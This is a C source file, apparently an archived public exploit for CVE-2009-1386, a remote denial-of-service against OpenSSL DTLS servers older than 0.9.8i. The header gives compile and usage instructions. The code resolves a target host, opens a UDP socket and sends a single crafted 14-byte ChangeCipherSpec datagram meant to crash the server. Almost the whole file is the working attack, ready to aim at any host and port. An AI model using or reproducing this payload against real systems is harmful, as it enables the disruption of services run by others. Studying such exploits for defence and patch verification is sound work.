477bcbdcc0
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92 lines
2.1 KiB
C
Executable file
92 lines
2.1 KiB
C
Executable file
/*
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* cve-2009-1386.c
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*
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* OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
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* Jon Oberheide <jon@oberheide.org>
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* http://jon.oberheide.org
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*
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* Information:
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*
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* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
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*
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* OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
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* the first record instead of ClientHello.
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*
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* Usage:
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*
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* Pass the host and port of the target DTLS server:
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*
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* $ gcc cve-2009-1386.c -o cve-2009-1386
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* $ ./cve-2009-1386 1.2.3.4 666
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*
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* Notes:
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*
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* Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this
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* only requires a single ChangeCipherSpec datagram, but affects an older
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* version of OpenSSL.
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*
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*/
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <errno.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <sys/socket.h>
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int
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main(int argc, char **argv)
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{
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int sock, ret;
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char *ptr, *err;
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struct hostent *h;
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struct sockaddr_in target;
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char buf[64];
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if (argc < 3) {
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err = "Pass the host and port of the target DTLS server";
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printf("[-] Error: %s\n", err);
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exit(1);
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}
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h = gethostbyname(argv[1]);
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if (!h) {
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err = "Unknown host specified";
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printf("[-] Error: %s (%s)\n", err, strerror(errno));
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exit(1);
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}
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target.sin_family = h->h_addrtype;
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memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
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target.sin_port = htons(atoi(argv[2]));
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sock = socket(AF_INET, SOCK_DGRAM, 0);
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if (sock == -1) {
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err = "Failed creating UDP socket";
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printf("[-] Error: %s (%s)\n", err, strerror(errno));
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exit(1);
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}
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ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
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if (ret == -1) {
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err = "Failed to connect socket";
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printf("[-] Error: %s (%s)\n", err, strerror(errno));
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exit(1);
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}
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memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);
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printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);
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send(sock, buf, 14, 0);
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close(sock);
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return 0;
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}
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// milw0rm.com [2009-06-04]
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